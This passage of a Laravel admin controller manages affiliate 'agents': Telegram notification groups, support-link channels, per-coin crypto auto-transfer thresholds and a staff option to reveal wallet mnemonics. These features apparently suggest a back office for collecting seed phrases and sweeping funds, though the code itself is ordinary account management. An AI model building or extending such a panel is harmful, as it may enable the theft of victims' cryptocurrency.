$telegram->cachedBotUsername(), 'botInviteUrl' => $telegram->inviteUrl(), 'staff_mnemonic_reveal' => (bool) config('coruna.mnemonic_reveal.staff_enabled'), ]); } public function data(Request $request) { $q = User::query()->withCount('channels'); $username = trim((string) $request->query('username', '')); $status = $request->query('status'); if ($username !== '') { $q->where('username', 'like', '%'.$username.'%'); } if ($status !== null && $status !== '') { $q->where('status', (int) $status); } $sortable = ['id', 'username', 'status', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'id'; } $q->orderBy($field, $order); $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $paginator = $q->paginate($limit, ['*'], 'page', $page); $showReveal = (bool) config('coruna.mnemonic_reveal.staff_enabled'); $data = collect($paginator->items())->map(function (User $u) use ($showReveal) { $row = [ 'id' => $u->id, 'username' => $u->username, 'status' => (int) $u->status, 'comment' => $u->comment ?: '', 'chat_id' => $u->chat_id ?: '', 'telegram_ready' => $u->hasTelegramChat(), 'google_bound' => $u->hasGoogleBound() ? 1 : 0, 'login_attempts' => (int) $u->login_attempts, 'locked_at' => optional($u->locked_at)->format('Y-m-d H:i:s'), 'is_locked' => $u->isLocked(), 'channels_count' => (int) $u->channels_count, 'auto_transfer_enabled' => (int) $u->auto_transfer_enabled, 'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '', 'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '', 'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '', 'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '', 'auto_transfer_threshold_bnb' => $u->auto_transfer_threshold_bnb !== null ? (string) $u->auto_transfer_threshold_bnb : '', 'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0, 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'), ]; if ($showReveal) { $row['can_reveal_mnemonics'] = $u->mnemonicRevealEnabled() ? 1 : 0; } return $row; })->values(); return response()->json([ 'code' => 0, 'msg' => '', 'count' => $paginator->total(), 'data' => $data, ]); } public function store(Request $request) { $data = $request->validate([ 'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('users', 'username')], 'password' => ['required', 'string', 'min:6', 'max:128'], 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], 'chat_id' => $this->chatIdRules(), 'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])], 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'], 'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])], 'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])], ]); $user = User::query()->create([ 'username' => $data['username'], 'password' => $data['password'], 'comment' => $data['comment'] ?? null, 'status' => (int) ($data['status'] ?? 1), 'chat_id' => $this->nullableTrim($data['chat_id'] ?? null), 'auto_transfer_enabled' => (bool) ((int) ($data['auto_transfer_enabled'] ?? 0)), 'auto_transfer_threshold_usdt' => $this->nullableThreshold($data['auto_transfer_threshold_usdt'] ?? null), 'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null), 'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null), 'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null), 'auto_transfer_threshold_bnb' => $this->nullableThreshold($data['auto_transfer_threshold_bnb'] ?? null), 'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)), 'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)), ]); return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]); } public function update(Request $request, User $agent) { $data = $request->validate([ 'password' => ['nullable', 'string', 'min:6', 'max:128'], 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], 'chat_id' => $this->chatIdRules($agent->id), 'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])], 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'], 'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])], 'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])], ]); if (array_key_exists('comment', $data)) { $agent->comment = $data['comment']; } if (array_key_exists('status', $data) && $data['status'] !== null) { $agent->status = (int) $data['status']; } if (array_key_exists('chat_id', $data)) { $agent->chat_id = $this->nullableTrim($data['chat_id']); } if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) { $agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']); } if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) { $agent->album_storage_default = (bool) ((int) $data['album_storage_default']); } if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) { $agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']); } foreach (['usdt', 'trx', 'eth', 'btc', 'bnb'] as $coin) { $key = 'auto_transfer_threshold_'.$coin; if (array_key_exists($key, $data)) { $agent->{$key} = $this->nullableThreshold($data[$key] ?? null); } } if (! empty($data['password'])) { $agent->password = $data['password']; } $agent->save(); return response()->json(['code' => 0, 'msg' => 'ok']); } public function unlock(User $agent) { /** @var Admin|null $actor */ $actor = auth('admin')->user(); if (! $actor instanceof Admin) { return response()->json(['code' => 1, 'msg' => '未登录'], 401); } if (! $agent->isLocked()) { return response()->json(['code' => 1, 'msg' => '该账号未被封禁']); } $agent->clearLoginAttempts(); SystemLog::record( $actor, 'admin', SystemLog::ACTION_AGENT_UNLOCKED, '管理员「'.$actor->username.'」解除代理「'.$agent->username.'」的封禁状态', request(), ); return response()->json(['code' => 0, 'msg' => '已解除封禁']); } public function testTelegram(Request $request, TelegramNotifier $telegram) { $data = $request->validate([ 'chat_id' => ['nullable', 'string', 'max:64'], 'agent_id' => ['nullable', 'integer'], ]); $chatId = $this->nullableTrim($data['chat_id'] ?? null) ?? ''; $agent = null; if (! empty($data['agent_id'])) { $agent = User::query()->find((int) $data['agent_id']); if ($chatId === '') { $chatId = trim((string) ($agent?->chat_id ?? '')); } } $label = $agent !== null ? '代理 '.$agent->username.' 通知群推送正常。' : '代理通知群推送正常。'; $result = $telegram->sendTest($chatId, $label); return response()->json([ 'code' => $result['ok'] ? 0 : 1, 'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'), ]); } public function channels(User $agent) { $rows = Channel::query() ->where('user_id', $agent->id) ->orderByDesc('id') ->get() ->map(fn (Channel $c) => [ 'id' => $c->id, 'channel_id' => $c->channel_id, 'status' => (int) $c->status, 'remark' => $c->remark ?: '', 'links' => $c->supportLinks(), ]) ->values(); return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]); } /** @return list */ private function chatIdRules(?int $ignoreUserId = null): array { $unique = Rule::unique('users', 'chat_id') ->where(fn ($q) => $q->whereNotNull('chat_id')->where('chat_id', '!=', '')); if ($ignoreUserId !== null) { $unique = $unique->ignore($ignoreUserId); } return [ 'nullable', 'string', 'max:64', function (string $attribute, mixed $value, \Closure $fail) use ($unique): void { $chatId = $this->nullableTrim($value); if ($chatId === null) { return; } $owner = trim((string) config('coruna.telegram.owner_chat_id', '')); if ($owner !== '' && $chatId === $owner) { $fail('不能与官方 Telegram Chat ID 相同'); } $validator = validator([$attribute => $chatId], [$attribute => [$unique]]); if ($validator->fails()) { $fail('该 Chat ID 已被其他代理使用'); } }, ]; } private function nullableTrim(mixed $value): ?string { if ($value === null) { return null; } $value = trim((string) $value); return $value === '' ? null : $value; } private function nullableThreshold(mixed $value): ?string { $trimmed = $this->nullableTrim($value); if ($trimmed === null) { return null; } if (! is_numeric($trimmed)) { return null; } return $trimmed; } }